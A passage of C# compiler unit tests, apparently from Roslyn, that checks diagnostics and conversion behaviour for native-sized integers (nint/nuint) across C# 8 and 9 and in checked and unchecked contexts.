Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F1 * F2").WithArguments("native-sized integers", "9.0").WithLocation(7, 13),
// (8,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = F1 / F2;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F1 / F2").WithArguments("native-sized integers", "9.0").WithLocation(8, 13),
// (9,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = F1 % F2;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F1 % F2").WithArguments("native-sized integers", "9.0").WithLocation(9, 13),
// (10,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = F1 < F2;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F1 < F2").WithArguments("native-sized integers", "9.0").WithLocation(10, 13),
// (11,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = F1 <= F2;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F1 <= F2").WithArguments("native-sized integers", "9.0").WithLocation(11, 13),
// (12,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = F1 > F2;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F1 > F2").WithArguments("native-sized integers", "9.0").WithLocation(12, 13),
// (13,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = F1 >= F2;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F1 >= F2").WithArguments("native-sized integers", "9.0").WithLocation(13, 13),
// (14,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = F1 == F2;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F1 == F2").WithArguments("native-sized integers", "9.0").WithLocation(14, 13),
// (15,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = F1 != F2;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F1 != F2").WithArguments("native-sized integers", "9.0").WithLocation(15, 13),
// (16,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = F1 & F2;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F1 & F2").WithArguments("native-sized integers", "9.0").WithLocation(16, 13),
// (17,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = F1 | F2;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F1 | F2").WithArguments("native-sized integers", "9.0").WithLocation(17, 13),
// (18,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = F1 ^ F2;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F1 ^ F2").WithArguments("native-sized integers", "9.0").WithLocation(18, 13),
// (19,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = F1 << 1;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F1 << 1").WithArguments("native-sized integers", "9.0").WithLocation(19, 13),
// (20,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = F1 >> 1;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F1 >> 1").WithArguments("native-sized integers", "9.0").WithLocation(20, 13));
}
[Theory]
[CombinatorialData]
[WorkItem(42941, "https://github.com/dotnet/roslyn/issues/42941")]
public void NativeIntegerOperatorsCSharp8_04(bool useCompilationReference, [CombinatorialValues("nint", "nint?", "nuint", "nuint?")] string type)
{
var sourceA =
$@"public class A
{{
public static {type} F1, F2;
}}";
var comp = CreateCompilation(sourceA, parseOptions: TestOptions.Regular9);
var refA = AsReference(comp, useCompilationReference);
var sourceB =
@"class B : A
{
static void Main()
{
_ = (F1, F1) == (F2, F2);
_ = (F1, F1) != (F2, F2);
}
}";
comp = CreateCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular9);
comp.VerifyEmitDiagnostics();
comp = CreateCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular8);
comp.VerifyEmitDiagnostics(
// (5,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = (F1, F1) == (F2, F2);
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "(F1, F1) == (F2, F2)").WithArguments("native-sized integers", "9.0").WithLocation(5, 13),
// (5,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = (F1, F1) == (F2, F2);
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "(F1, F1) == (F2, F2)").WithArguments("native-sized integers", "9.0").WithLocation(5, 13),
// (6,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = (F1, F1) != (F2, F2);
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "(F1, F1) != (F2, F2)").WithArguments("native-sized integers", "9.0").WithLocation(6, 13),
// (6,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = (F1, F1) != (F2, F2);
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "(F1, F1) != (F2, F2)").WithArguments("native-sized integers", "9.0").WithLocation(6, 13));
}
[Theory]
[CombinatorialData]
[WorkItem(42941, "https://github.com/dotnet/roslyn/issues/42941")]
public void NativeIntegerOperatorsCSharp8_05(bool useCompilationReference, [CombinatorialValues("nint", "nint?", "nuint", "nuint?")] string type)
{
var sourceA =
$@"public class A
{{
public static {type} F;
}}";
var comp = CreateCompilation(sourceA, parseOptions: TestOptions.Regular9);
var refA = AsReference(comp, useCompilationReference);
var sourceB =
@"class B : A
{
static void Main()
{
F += 1;
F -= 1;
F *= 1;
F /= 1;
F %= 1;
F &= 1;
F |= 1;
F ^= 1;
F <<= 1;
F >>= 1;
}
}";
comp = CreateCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular9);
comp.VerifyEmitDiagnostics();
comp = CreateCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular8);
comp.VerifyEmitDiagnostics(
// (5,9): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// F += 1;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F += 1").WithArguments("native-sized integers", "9.0").WithLocation(5, 9),
// (6,9): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// F -= 1;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F -= 1").WithArguments("native-sized integers", "9.0").WithLocation(6, 9),
// (7,9): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// F *= 1;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F *= 1").WithArguments("native-sized integers", "9.0").WithLocation(7, 9),
// (8,9): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// F /= 1;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F /= 1").WithArguments("native-sized integers", "9.0").WithLocation(8, 9),
// (9,9): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// F %= 1;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F %= 1").WithArguments("native-sized integers", "9.0").WithLocation(9, 9),
// (10,9): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// F &= 1;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F &= 1").WithArguments("native-sized integers", "9.0").WithLocation(10, 9),
// (11,9): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// F |= 1;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F |= 1").WithArguments("native-sized integers", "9.0").WithLocation(11, 9),
// (12,9): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// F ^= 1;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F ^= 1").WithArguments("native-sized integers", "9.0").WithLocation(12, 9),
// (13,9): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// F <<= 1;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F <<= 1").WithArguments("native-sized integers", "9.0").WithLocation(13, 9),
// (14,9): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// F >>= 1;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F >>= 1").WithArguments("native-sized integers", "9.0").WithLocation(14, 9));
}
[Theory]
[CombinatorialData]
[WorkItem(42941, "https://github.com/dotnet/roslyn/issues/42941")]
public void NativeIntegerConversionsCSharp8_01(bool useCompilationReference, [CombinatorialValues("nint", "nuint")] string type)
{
var sourceA =
$@"public class A
{{
public static {type} F1;
public static {type}? F2;
}}";
var comp = CreateCompilation(sourceA, parseOptions: TestOptions.Regular9);
var refA = AsReference(comp, useCompilationReference);
var sourceB =
@"class B : A
{
static void Main()
{
F1 = sbyte.MaxValue;
F1 = byte.MaxValue;
F1 = char.MaxValue;
F1 = short.MaxValue;
F1 = ushort.MaxValue;
F1 = int.MaxValue;
F2 = sbyte.MaxValue;
F2 = byte.MaxValue;
F2 = char.MaxValue;
F2 = short.MaxValue;
F2 = ushort.MaxValue;
F2 = int.MaxValue;
}
}";
comp = CreateCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular9);
comp.VerifyEmitDiagnostics();
comp = CreateCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular8);
comp.VerifyEmitDiagnostics();
}
[Theory]
[CombinatorialData]
[WorkItem(42941, "https://github.com/dotnet/roslyn/issues/42941")]
public void NativeIntegerConversionsCSharp8_02(bool useCompilationReference, bool signed)
{
string type = signed ? "nint" : "nuint";
string underlyingType = signed ? "System.IntPtr" : "System.UIntPtr";
var sourceA =
$@"public class A
{{
public static {type} F1;
public static {type}? F2;
}}";
var comp = CreateCompilation(sourceA, parseOptions: TestOptions.Regular9);
var refA = AsReference(comp, useCompilationReference);
var sourceB =
$@"class B : A
{{
static T F<T>() => throw null;
static void Main()
{{
F1 = F<byte>();
F1 = F<char>();
F1 = F<ushort>();
F1 = F<{underlyingType}>();
F2 = F<byte>();
F2 = F<char>();
F2 = F<ushort>();
F2 = F<byte?>();
F2 = F<char?>();
F2 = F<ushort?>();
F2 = F<{underlyingType}>();
F2 = F<{underlyingType}?>();
}}
}}";
comp = CreateCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular9);
comp.VerifyEmitDiagnostics();
comp = CreateCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular8);
comp.VerifyEmitDiagnostics();
}
[Theory]
[CombinatorialData]
[WorkItem(42941, "https://github.com/dotnet/roslyn/issues/42941")]
public void NativeIntegerConversionsCSharp8_03(bool useCompilationReference, bool signed)
{
string type = signed ? "nint" : "nuint";
string underlyingType = signed ? "System.IntPtr" : "System.UIntPtr";
var sourceA =
$@"public class A
{{
public static {type} F1;
public static {type}? F2;
}}";
var comp = CreateCompilation(sourceA, parseOptions: TestOptions.Regular9);
var refA = AsReference(comp, useCompilationReference);
var sourceB =
$@"class B : A
{{
static void M0()
{{
object o;
o = F1;
o = (object)F1;
o = F2;
o = (object)F2;
}}
static void M1()
{{
{underlyingType} ptr;
sbyte sb;
byte b;
char c;
short s;
ushort us;
int i;
uint u;
long l;
ulong ul;
float f;
double d;
decimal dec;
ptr = F1;
f = F1;
d = F1;
dec = F1;
ptr = ({underlyingType})F1;
sb = (sbyte)F1;
b = (byte)F1;
c = (char)F1;
s = (short)F1;
us = (ushort)F1;
i = (int)F1;
u = (uint)F1;
l = (long)F1;
ul = (ulong)F1;
f = (float)F1;
d = (double)F1;
dec = (decimal)F1;
ptr = ({underlyingType})F2;
sb = (sbyte)F2;
b = (byte)F2;
c = (char)F2;
s = (short)F2;
us = (ushort)F2;
i = (int)F2;
u = (uint)F2;
l = (long)F2;
ul = (ulong)F2;
f = (float)F2;
d = (double)F2;
dec = (decimal)F2;
}}
static void M2()
{{
{underlyingType}? ptr;
sbyte? sb;
byte? b;
char? c;
short? s;
ushort? us;
int? i;
uint? u;
long? l;
ulong? ul;
float? f;
double? d;
decimal? dec;
ptr = F1;
f = F1;
d = F1;
dec = F1;
ptr = ({underlyingType}?)F1;
sb = (sbyte?)F1;
b = (byte?)F1;
c = (char?)F1;
s = (short?)F1;
us = (ushort?)F1;
i = (int?)F1;
u = (uint?)F1;
l = (long?)F1;
ul = (ulong?)F1;
f = (float?)F1;
d = (double?)F1;
dec = (decimal?)F1;
ptr = F2;
f = F2;
d = F2;
dec = F2;
ptr = ({underlyingType}?)F2;
sb = (sbyte?)F2;
b = (byte?)F2;
c = (char?)F2;
s = (short?)F2;
us = (ushort?)F2;
i = (int?)F2;
u = (uint?)F2;
l = (long?)F2;
ul = (ulong?)F2;
f = (float?)F2;
d = (double?)F2;
dec = (decimal?)F2;
}}
}}";
comp = CreateCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular9);
comp.VerifyEmitDiagnostics();
comp = CreateCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular8);
comp.VerifyEmitDiagnostics();
}
[Theory]
[CombinatorialData]
[WorkItem(42941, "https://github.com/dotnet/roslyn/issues/42941")]
public void NativeIntegerConversionsCSharp8_04(bool useCompilationReference, [CombinatorialValues("nint", "nuint")] string type)
{
var sourceA =
$@"public class A
{{
public static {type} F1, F2;
public static {type}? F3, F4;
}}";
var comp = CreateCompilation(sourceA, parseOptions: TestOptions.Regular9);
var refA = AsReference(comp, useCompilationReference);
var sourceB =
$@"class B : A
{{
static void Main()
{{
F2 = F1;
F4 = F1;
F4 = F3;
}}
}}";
comp = CreateCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular9);
comp.VerifyEmitDiagnostics();
comp = CreateCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular8);
comp.VerifyEmitDiagnostics();
}
[Theory]
[InlineData("")]
[InlineData("unchecked")]
[InlineData("checked")]
public void ConstantConversions_ToNativeInt(string context)
{
var source =
$@"#pragma warning disable 219
class Program
{{
static void F1()
{{
nint i;
{context}
{{
i = sbyte.MaxValue;
i = byte.MaxValue;
i = char.MaxValue;
i = short.MaxValue;
i = ushort.MaxValue;
i = int.MaxValue;
i = uint.MaxValue;
i = long.MaxValue;
i = ulong.MaxValue;
i = float.MaxValue;
i = double.MaxValue;
i = (decimal)int.MaxValue;
i = (nint)int.MaxValue;
i = (nuint)uint.MaxValue;
}}
}}
static void F2()
{{
nuint u;
{context}
{{
u = sbyte.MaxValue;
u = byte.MaxValue;
u = char.MaxValue;
u = short.MaxValue;
u = ushort.MaxValue;
u = int.MaxValue;
u = uint.MaxValue;
u = long.MaxValue;
u = ulong.MaxValue;
u = float.MaxValue;
u = double.MaxValue;
u = (decimal)uint.MaxValue;
u = (nint)int.MaxValue;
u = (nuint)uint.MaxValue;
}}
}}
}}";
var comp = CreateCompilation(source, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (15,17): error CS0266: Cannot implicitly convert type 'uint' to 'nint'. An explicit conversion exists (are you missing a cast?)
// i = uint.MaxValue;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "uint.MaxValue").WithArguments("uint", "nint").WithLocation(15, 17),
// (16,17): error CS0266: Cannot implicitly convert type 'long' to 'nint'. An explicit conversion exists (are you missing a cast?)
// i = long.MaxValue;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "long.MaxValue").WithArguments("long", "nint").WithLocation(16, 17),
// (17,17): error CS0266: Cannot implicitly convert type 'ulong' to 'nint'. An explicit conversion exists (are you missing a cast?)
// i = ulong.MaxValue;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "ulong.MaxValue").WithArguments("ulong", "nint").WithLocation(17, 17),
// (18,17): error CS0266: Cannot implicitly convert type 'float' to 'nint'. An explicit conversion exists (are you missing a cast?)
// i = float.MaxValue;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "float.MaxValue").WithArguments("float", "nint").WithLocation(18, 17),
// (19,17): error CS0266: Cannot implicitly convert type 'double' to 'nint'. An explicit conversion exists (are you missing a cast?)
// i = double.MaxValue;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "double.MaxValue").WithArguments("double", "nint").WithLocation(19, 17),
// (20,17): error CS0266: Cannot implicitly convert type 'decimal' to 'nint'. An explicit conversion exists (are you missing a cast?)
// i = (decimal)int.MaxValue;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "(decimal)int.MaxValue").WithArguments("decimal", "nint").WithLocation(20, 17),
// (22,17): error CS0266: Cannot implicitly convert type 'nuint' to 'nint'. An explicit conversion exists (are you missing a cast?)
// i = (nuint)uint.MaxValue;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "(nuint)uint.MaxValue").WithArguments("nuint", "nint").WithLocation(22, 17),
// (37,17): error CS0266: Cannot implicitly convert type 'long' to 'nuint'. An explicit conversion exists (are you missing a cast?)
// u = long.MaxValue;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "long.MaxValue").WithArguments("long", "nuint").WithLocation(37, 17),
// (38,17): error CS0266: Cannot implicitly convert type 'ulong' to 'nuint'. An explicit conversion exists (are you missing a cast?)
// u = ulong.MaxValue;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "ulong.MaxValue").WithArguments("ulong", "nuint").WithLocation(38, 17),
// (39,17): error CS0266: Cannot implicitly convert type 'float' to 'nuint'. An explicit conversion exists (are you missing a cast?)
// u = float.MaxValue;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "float.MaxValue").WithArguments("float", "nuint").WithLocation(39, 17),
// (40,17): error CS0266: Cannot implicitly convert type 'double' to 'nuint'. An explicit conversion exists (are you missing a cast?)
// u = double.MaxValue;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "double.MaxValue").WithArguments("double", "nuint").WithLocation(40, 17),
// (41,17): error CS0266: Cannot implicitly convert type 'decimal' to 'nuint'. An explicit conversion exists (are you missing a cast?)
// u = (decimal)uint.MaxValue;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "(decimal)uint.MaxValue").WithArguments("decimal", "nuint").WithLocation(41, 17),
// (42,17): error CS0266: Cannot implicitly convert type 'nint' to 'nuint'. An explicit conversion exists (are you missing a cast?)
// u = (nint)int.MaxValue;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "(nint)int.MaxValue").WithArguments("nint", "nuint").WithLocation(42, 17));
}
[Theory]
[InlineData("")]
[InlineData("unchecked")]
[InlineData("checked")]
public void ConstantConversions_FromNativeInt(string context)
{
var source =
$@"#pragma warning disable 219
class Program
{{
static void F1()
{{
const nint n = (nint)int.MaxValue;
{context}
{{
sbyte sb = n;
byte b = n;
char c = n;
short s = n;
ushort us = n;
int i = n;
uint u = n;
long l = n;
ulong ul = n;
float f = n;
double d = n;
decimal dec = n;
nuint nu = n;
}}
}}
static void F2()
{{
const nuint nu = (nuint)uint.MaxValue;
{context}
{{
sbyte sb = nu;
byte b = nu;
char c = nu;
short s = nu;
ushort us = nu;
int i = nu;
uint u = nu;
long l = nu;
ulong ul = nu;
float f = nu;
double d = nu;
decimal dec = nu;
nint n = nu;
}}
}}
}}";
var comp = CreateCompilation(source, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (9,24): error CS0266: Cannot implicitly convert type 'nint' to 'sbyte'. An explicit conversion exists (are you missing a cast?)
// sbyte sb = n;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "n").WithArguments("nint", "sbyte").WithLocation(9, 24),
// (10,22): error CS0266: Cannot implicitly convert type 'nint' to 'byte'. An explicit conversion exists (are you missing a cast?)
// byte b = n;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "n").WithArguments("nint", "byte").WithLocation(10, 22),
// (11,22): error CS0266: Cannot implicitly convert type 'nint' to 'char'. An explicit conversion exists (are you missing a cast?)
// char c = n;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "n").WithArguments("nint", "char").WithLocation(11, 22),
// (12,23): error CS0266: Cannot implicitly convert type 'nint' to 'short'. An explicit conversion exists (are you missing a cast?)
// short s = n;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "n").WithArguments("nint", "short").WithLocation(12, 23),
// (13,25): error CS0266: Cannot implicitly convert type 'nint' to 'ushort'. An explicit conversion exists (are you missing a cast?)
// ushort us = n;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "n").WithArguments("nint", "ushort").WithLocation(13, 25),
// (14,21): error CS0266: Cannot implicitly convert type 'nint' to 'int'. An explicit conversion exists (are you missing a cast?)
// int i = n;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "n").WithArguments("nint", "int").WithLocation(14, 21),
// (15,22): error CS0266: Cannot implicitly convert type 'nint' to 'uint'. An explicit conversion exists (are you missing a cast?)
// uint u = n;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "n").WithArguments("nint", "uint").WithLocation(15, 22),
// (17,24): error CS0266: Cannot implicitly convert type 'nint' to 'ulong'. An explicit conversion exists (are you missing a cast?)
// ulong ul = n;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "n").WithArguments("nint", "ulong").WithLocation(17, 24),
// (21,24): error CS0266: Cannot implicitly convert type 'nint' to 'nuint'. An explicit conversion exists (are you missing a cast?)
// nuint nu = n;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "n").WithArguments("nint", "nuint").WithLocation(21, 24),
// (29,24): error CS0266: Cannot implicitly convert type 'nuint' to 'sbyte'. An explicit conversion exists (are you missing a cast?)
// sbyte sb = nu;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "nu").WithArguments("nuint", "sbyte").WithLocation(29, 24),
// (30,22): error CS0266: Cannot implicitly convert type 'nuint' to 'byte'. An explicit conversion exists (are you missing a cast?)
// byte b = nu;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "nu").WithArguments("nuint", "byte").WithLocation(30, 22),
// (31,22): error CS0266: Cannot implicitly convert type 'nuint' to 'char'. An explicit conversion exists (are you missing a cast?)
// char c = nu;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "nu").WithArguments("nuint", "char").WithLocation(31, 22),
// (32,23): error CS0266: Cannot implicitly convert type 'nuint' to 'short'. An explicit conversion exists (are you missing a cast?)
// short s = nu;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "nu").WithArguments("nuint", "short").WithLocation(32, 23),
// (33,25): error CS0266: Cannot implicitly convert type 'nuint' to 'ushort'. An explicit conversion exists (are you missing a cast?)
// ushort us = nu;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "nu").WithArguments("nuint", "ushort").WithLocation(33, 25),
// (34,21): error CS0266: Cannot implicitly convert type 'nuint' to 'int'. An explicit conversion exists (are you missing a cast?)
// int i = nu;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "nu").WithArguments("nuint", "int").WithLocation(34, 21),
// (35,22): error CS0266: Cannot implicitly convert type 'nuint' to 'uint'. An explicit conversion exists (are you missing a cast?)
// uint u = nu;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "nu").WithArguments("nuint", "uint").WithLocation(35, 22),
// (36,22): error CS0266: Cannot implicitly convert type 'nuint' to 'long'. An explicit conversion exists (are you missing a cast?)
// long l = nu;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "nu").WithArguments("nuint", "long").WithLocation(36, 22),
// (41,22): error CS0266: Cannot implicitly convert type 'nuint' to 'nint'. An explicit conversion exists (are you missing a cast?)
// nint n = nu;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "nu").WithArguments("nuint", "nint").WithLocation(41, 22));
}
[WorkItem(42955, "https://github.com/dotnet/roslyn/issues/42955")]
[WorkItem(45525, "https://github.com/dotnet/roslyn/issues/45525")]
[Fact]
public void ConstantConversions_01()
{
var source =
@"using System;
class Program
{
static void Main()
{
const long x = 0xFFFFFFFFFFFFFFFL;
const nint y = checked((nint)x);
Console.WriteLine(y);
}
}";
var comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (7,24): error CS0133: The expression being assigned to 'y' must be constant
// const nint y = checked((nint)x);
Diagnostic(ErrorCode.ERR_NotConstantExpression, "checked((nint)x)").WithArguments("y").WithLocation(7, 24),
// (7,32): warning CS8778: Constant value '1152921504606846975' may overflow 'nint' at runtime (use 'unchecked' syntax to override)
// const nint y = checked((nint)x);
Diagnostic(ErrorCode.WRN_ConstOutOfRangeChecked, "(nint)x").WithArguments("1152921504606846975", "nint").WithLocation(7, 32));
source =
@"using System;
class Program
{
static void Main()
{
const long x = 0xFFFFFFFFFFFFFFFL;
try
{
nint y = checked((nint)x);
Console.WriteLine(y);
}
catch (Exception e)
{
Console.WriteLine(e.GetType());
}
}
}";
comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (9,30): warning CS8778: Constant value '1152921504606846975' may overflow 'nint' at runtime (use 'unchecked' syntax to override)
// nint y = checked((nint)x);
Diagnostic(ErrorCode.WRN_ConstOutOfRangeChecked, "(nint)x").WithArguments("1152921504606846975", "nint").WithLocation(9, 30));
CompileAndVerify(comp, expectedOutput: IntPtr.Size == 4 ? "System.OverflowException" : "1152921504606846975");
}
[WorkItem(45531, "https://github.com/dotnet/roslyn/issues/45531")]
[Fact]
public void ConstantConversions_02()
{
var source =
@"using System;
class Program
{
static void Main()
{
const long x = 0xFFFFFFFFFFFFFFFL;
const nint y = unchecked((nint)x);
Console.WriteLine(y);
}
}";
var comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (7,24): error CS0133: The expression being assigned to 'y' must be constant
// const nint y = unchecked((nint)x);
Diagnostic(ErrorCode.ERR_NotConstantExpression, "unchecked((nint)x)").WithArguments("y").WithLocation(7, 24));
source =
@"using System;
class Program
{
static void Main()
{
const long x = 0xFFFFFFFFFFFFFFFL;
nint y = unchecked((nint)x);
Console.WriteLine(y);
}
}";
comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
CompileAndVerify(comp, expectedOutput: IntPtr.Size == 4 ? "-1" : "1152921504606846975");
}
[WorkItem(42955, "https://github.com/dotnet/roslyn/issues/42955")]
[WorkItem(45525, "https://github.com/dotnet/roslyn/issues/45525")]
[WorkItem(45531, "https://github.com/dotnet/roslyn/issues/45531")]
[Fact]
public void ConstantConversions_03()
{
using var _ = new EnsureInvariantCulture();
constantConversions("sbyte", "nint", "-1", null, "-1", "-1", null, "-1", "-1");
constantConversions("sbyte", "nint", "sbyte.MinValue", null, "-128", "-128", null, "-128", "-128");
constantConversions("sbyte", "nint", "sbyte.MaxValue", null, "127", "127", null, "127", "127");
constantConversions("byte", "nint", "byte.MaxValue", null, "255", "255", null, "255", "255");
constantConversions("short", "nint", "-1", null, "-1", "-1", null, "-1", "-1");
constantConversions("short", "nint", "short.MinValue", null, "-32768", "-32768", null, "-32768", "-32768");
constantConversions("short", "nint", "short.MaxValue", null, "32767", "32767", null, "32767", "32767");
constantConversions("ushort", "nint", "ushort.MaxValue", null, "65535", "65535", null, "65535", "65535");
constantConversions("char", "nint", "char.MaxValue", null, "65535", "65535", null, "65535", "65535");
constantConversions("int", "nint", "int.MinValue", null, "-2147483648", "-2147483648", null, "-2147483648", "-2147483648");
constantConversions("int", "nint", "int.MaxValue", null, "2147483647", "2147483647", null, "2147483647", "2147483647");
constantConversions("uint", "nint", "(int.MaxValue + 1U)", warningOutOfRangeChecked("nint", "2147483648"), "System.OverflowException", "2147483648", null, "-2147483648", "2147483648");
constantConversions("uint", "nint", "uint.MaxValue", warningOutOfRangeChecked("nint", "4294967295"), "System.OverflowException", "4294967295", null, "-1", "4294967295");
constantConversions("long", "nint", "(int.MinValue - 1L)", warningOutOfRangeChecked("nint", "-2147483649"), "System.OverflowException", "-2147483649", null, "2147483647", "-2147483649");
constantConversions("long", "nint", "(int.MaxValue + 1L)", warningOutOfRangeChecked("nint", "2147483648"), "System.OverflowException", "2147483648", null, "-2147483648", "2147483648");
constantConversions("long", "nint", "long.MinValue", warningOutOfRangeChecked("nint", "-9223372036854775808"), "System.OverflowException", "-9223372036854775808", null, "0", "-9223372036854775808");
constantConversions("long", "nint", "long.MaxValue", warningOutOfRangeChecked("nint", "9223372036854775807"), "System.OverflowException", "9223372036854775807", null, "-1", "9223372036854775807");
constantConversions("ulong", "nint", "(int.MaxValue + 1UL)", warningOutOfRangeChecked("nint", "2147483648"), "System.OverflowException", "2147483648", null, "-2147483648", "2147483648");
constantConversions("ulong", "nint", "ulong.MaxValue", errorOutOfRangeChecked("nint", "18446744073709551615"), "System.OverflowException", "System.OverflowException", null, "-1", "-1");
constantConversions("decimal", "nint", "(int.MinValue - 1M)", errorOutOfRange("nint", "-2147483649M"), "System.OverflowException", "-2147483649", errorOutOfRange("nint", "-2147483649M"), "2147483647", "-2147483649");
